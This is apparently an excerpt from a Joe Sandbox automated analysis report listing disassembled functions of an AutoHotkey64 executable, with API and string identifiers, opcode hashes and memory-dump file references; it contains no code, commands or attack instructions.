                                                              • String ID:
                                                              • API String ID: 2387848762-0
                                                              • Opcode ID: dbdfc5606b270520d98a892302cdc91a4eaedcdc9507054747b18fa2c9146ab3
                                                              • Instruction ID: 30c64947d778c5d068ab594412527c206cdedd3640a42357ce37d8a61bf0f46a
                                                              • Opcode Fuzzy Hash: dbdfc5606b270520d98a892302cdc91a4eaedcdc9507054747b18fa2c9146ab3
                                                              • Instruction Fuzzy Hash: FD91C4B160464486F7668B27E4843E937E1F38DBE4F11022AFB59A3AF5DB38C891C745
                                                              Function 00000001400285B0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 187comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Initialize$CriticalSection
                                                              • String ID: A_Clipboard$Clipboard$No tray mem$Tray
                                                              • API String ID: 49594357-66866361
                                                              • Opcode ID: cd4126721d42bcd3b5535d588909754dc3df104d9cb3197246a89da5758059d4
                                                              • Instruction ID: c2210a8bfebf6e968dc940362942495f847da2b2101f9e7a5d4d1ab9926136f7
                                                              • Opcode Fuzzy Hash: cd4126721d42bcd3b5535d588909754dc3df104d9cb3197246a89da5758059d4
                                                              • Instruction Fuzzy Hash: A7B1DDB5114B8085E7239B26FD403C5B6E8BB6DB90F64021EEB8963BF1DB78C561C744
                                                              Function 0000000140045167 Relevance: 10.7, APIs: 7, Instructions: 187windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ErrorLast$AttributesClipboardCloseFileFullGlobalMessageNamePathPeekUnlock
                                                              • String ID:
                                                              • API String ID: 769837341-0
                                                              • Opcode ID: ea8f3ec87e584193ddbe24061f9be85a86e6acbcb40e01d08e3ee23e4457f071
                                                              • Instruction ID: dc4fc0ac3320c2a7f3004f5f17ed61323f6edb627a6a4ebe2c0f000154d4bf53
                                                              • Opcode Fuzzy Hash: ea8f3ec87e584193ddbe24061f9be85a86e6acbcb40e01d08e3ee23e4457f071
                                                              • Instruction Fuzzy Hash: CA91A1B160464486FB668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C494C745
                                                              Function 000000014004634B Relevance: 10.7, APIs: 7, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseDebugGlobalMessageOutputPeekStringUnlock
                                                              • String ID:
                                                              • API String ID: 1875564215-0
                                                              • Opcode ID: dd6cc0c7c21f49ff78b0013e370e6593fab5630ce07154e5d8aa93df22ab5d49
                                                              • Instruction ID: 9e997916f704e8d7b560ac9a385f4fbb162633bb965cbb4697739c5c48b7c8ee
                                                              • Opcode Fuzzy Hash: dd6cc0c7c21f49ff78b0013e370e6593fab5630ce07154e5d8aa93df22ab5d49
                                                              • Instruction Fuzzy Hash: 0291B5B160064486FB668B27E4443E837A1F34DBE4F11022AFB5963AF6DB38C891C745
                                                              Function 000000014000279F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64threadwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Window$ClassCurrentDialogDirectoryForegroundMessageNameProcessThread
                                                              • String ID: #32770
                                                              • API String ID: 2633243691-463685578
                                                              • Opcode ID: c0a4873b356b57c2b3baf6a586a01412f1de85bd4f66fc12d96b33e14106a79e
                                                              • Instruction ID: a250c3b3a1672cb0e10bf68ebfcc346c13ef5fd1ae730ae547beb393ef257849
                                                              • Opcode Fuzzy Hash: c0a4873b356b57c2b3baf6a586a01412f1de85bd4f66fc12d96b33e14106a79e
                                                              • Instruction Fuzzy Hash: 0D312AB120578981FB67DF16E8543E433A0B74DBD4F58002AEB0A172B5DB7CDA85C701
                                                              Function 00000001400D6F18 Relevance: 10.5, APIs: 7, Instructions: 47memoryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: _errno$_callnewh$AllocHeap
                                                              • String ID:
                                                              • API String ID: 2989141601-0
                                                              • Opcode ID: dcbd21e9241b52d9700a9cc95b7aee886b813a97aaa445b3f487fcc64a05c363
                                                              • Instruction ID: 50cf1e2a7005abd32925f1b913850ee84db9a8bf21c0ed9231399aa7b44643db
                                                              • Opcode Fuzzy Hash: dcbd21e9241b52d9700a9cc95b7aee886b813a97aaa445b3f487fcc64a05c363
                                                              • Instruction Fuzzy Hash: 18117C30211A44C1FA56ABA3A4107ED26A19F8CBE0F484235BF59473F6DF78C8428731
                                                              Function 0000000140040110 Relevance: 9.3, APIs: 6, Instructions: 318windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: c2eeec0aedd3c7b5d9b6eedda8178e12a98e2e03d14aaec89c1de6148968e21e
                                                              • Instruction ID: 5e267c742099fc8e6499ed35e637022f2c8e92e0374b2a9109fa0e9e4dc849c0
                                                              • Opcode Fuzzy Hash: c2eeec0aedd3c7b5d9b6eedda8178e12a98e2e03d14aaec89c1de6148968e21e
                                                              • Instruction Fuzzy Hash: 4EF1AF72604B8489F762CF26E4447E837A1F78DBA4F160226EB5963BF5DB38C491CB05
                                                              Function 0000000140044C87 Relevance: 9.3, APIs: 6, Instructions: 278windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 45b735ee95e1cb0bd4c73b6d4873e158719fd7b0f238e51174717f9753731e1a
                                                              • Instruction ID: 6e243e69deca9d08b5c25312528177e004834bb4b0843b63f3f261c582b623d7
                                                              • Opcode Fuzzy Hash: 45b735ee95e1cb0bd4c73b6d4873e158719fd7b0f238e51174717f9753731e1a
                                                              • Instruction Fuzzy Hash: 92D1C07160464486FB629B27D4843E977A2F78DBD4F124226FB0967BF6DB38C881C744
                                                              Function 0000000140045607 Relevance: 9.2, APIs: 6, Instructions: 242windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: ClipboardCloseCountGlobalMessagePeekTickUnlock
                                                              • String ID:
                                                              • API String ID: 1792675829-0
                                                              • Opcode ID: 2adb0e16f773ae687c49e8118690c588104f98b85e729743a3fc3d133f1b7d14
                                                              • Instruction ID: 72cca11892e3c9ef9988af418a244f0153366168070362191c4d2670bf31e03d
                                                              • Opcode Fuzzy Hash: 2adb0e16f773ae687c49e8118690c588104f98b85e729743a3fc3d133f1b7d14
                                                              • Instruction Fuzzy Hash: 47C18DB160468486F7629F27E4443E937A1F38DBD4F51022AEB5967BF6DB38C881C744
                                                              Function 0000000140044A32 Relevance: 9.2, APIs: 6, Instructions: 216windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: e109b7e0a522b510a16e9c24d39937af89d2077917b8beb5f85d869a22cc46f8
                                                              • Instruction ID: 30499ecf1bdd4ef3d2ce2fbccc4dc1eb37c48441ce0d3c871e161b1d54c55263
                                                              • Opcode Fuzzy Hash: e109b7e0a522b510a16e9c24d39937af89d2077917b8beb5f85d869a22cc46f8
                                                              • Instruction Fuzzy Hash: 2DB1B0B160464486FB629B27E4843E937A1F38CBE4F11012AFB5967BF6DB38C891C705
                                                              Function 0000000140043A22 Relevance: 9.2, APIs: 6, Instructions: 213windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Window$ClipboardCloseForegroundGlobalIconicMessagePeekRectUnlock
                                                              • String ID:
                                                              • API String ID: 1613694844-0
                                                              • Opcode ID: a46f6b4c9e11c9dcaaf72b09aff0519e99a38a122c49eca314d2434339f55c38
                                                              • Instruction ID: 989b21918a15ed48f69d9778d0a729d2f2e3b3c9acac3f44d05a15fdd4b80571
                                                              • Opcode Fuzzy Hash: a46f6b4c9e11c9dcaaf72b09aff0519e99a38a122c49eca314d2434339f55c38
                                                              • Instruction Fuzzy Hash: E6A1A07160468486F7628B27E4843E937A1F38DBE4F110226FB59A7BF6DB38C491CB45
                                                              Function 0000000140040C39 Relevance: 9.2, APIs: 6, Instructions: 210windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: c6c492c9e4ae6c111f131c25e0387d13a227979cdf792142cf2f06fc733806a9
                                                              • Instruction ID: 106d506d118b48d3f42d8e3e24b4c2ee7bbee8a148c96a9bd8bb0971513f7185
                                                              • Opcode Fuzzy Hash: c6c492c9e4ae6c111f131c25e0387d13a227979cdf792142cf2f06fc733806a9
                                                              • Instruction Fuzzy Hash: 5CB18F72604B4486FB668B27E8843E937A1F38DBE4F110226EB5963BF5DB38C491C705
                                                              Function 00000001400406A6 Relevance: 9.2, APIs: 6, Instructions: 206windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 86e629109acdf998648e60c23f865ff2cbc16cb141e1c6a239900a8fe7126f95
                                                              • Instruction ID: 463d799334610d8e29a5ce9e8aeb3594fd032f8b1c3b54536951c5c913ea888c
                                                              • Opcode Fuzzy Hash: 86e629109acdf998648e60c23f865ff2cbc16cb141e1c6a239900a8fe7126f95
                                                              • Instruction Fuzzy Hash: D2A1BFB2204B4485FB568B2AE4443E837E1F74DBE4F110226EB5963BF5DB38C895C704
                                                              Function 0000000140044BE5 Relevance: 9.2, APIs: 6, Instructions: 206windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_errno_invalid_parameter_noinfo
                                                              • String ID:
                                                              • API String ID: 130734711-0
                                                              • Opcode ID: 1f0a8a4e60bf686d823ac32a3940d10f3030e0a24acb447cba67fcefa8c9900d
                                                              • Instruction ID: 6d4a78c8f736becb1523509ed611cd958603d7393054430846e6ca92ce7633ba
                                                              • Opcode Fuzzy Hash: 1f0a8a4e60bf686d823ac32a3940d10f3030e0a24acb447cba67fcefa8c9900d
                                                              • Instruction Fuzzy Hash: 53A1C4B160064485FB578B27E8943E937A1F78DBE4F120226FB5963AF6DB38C481C745
                                                              Function 0000000140040C4C Relevance: 9.2, APIs: 6, Instructions: 206windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 1cf948782002bc5a3406a63f51610c913fe0bc88c87a3bf9c7b84953d0171c0d
                                                              • Instruction ID: 3220f460ab83bad3fddb6dd8fac5ff3d7541a764082bc18025d6c584a4a76bd4
                                                              • Opcode Fuzzy Hash: 1cf948782002bc5a3406a63f51610c913fe0bc88c87a3bf9c7b84953d0171c0d
                                                              • Instruction Fuzzy Hash: 75A18072604B4486FB668B27E8843E937A1F34DBE4F11022AEB5963BF5DB38C490C705
                                                              Function 00000001400454A1 Relevance: 9.2, APIs: 6, Instructions: 205windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
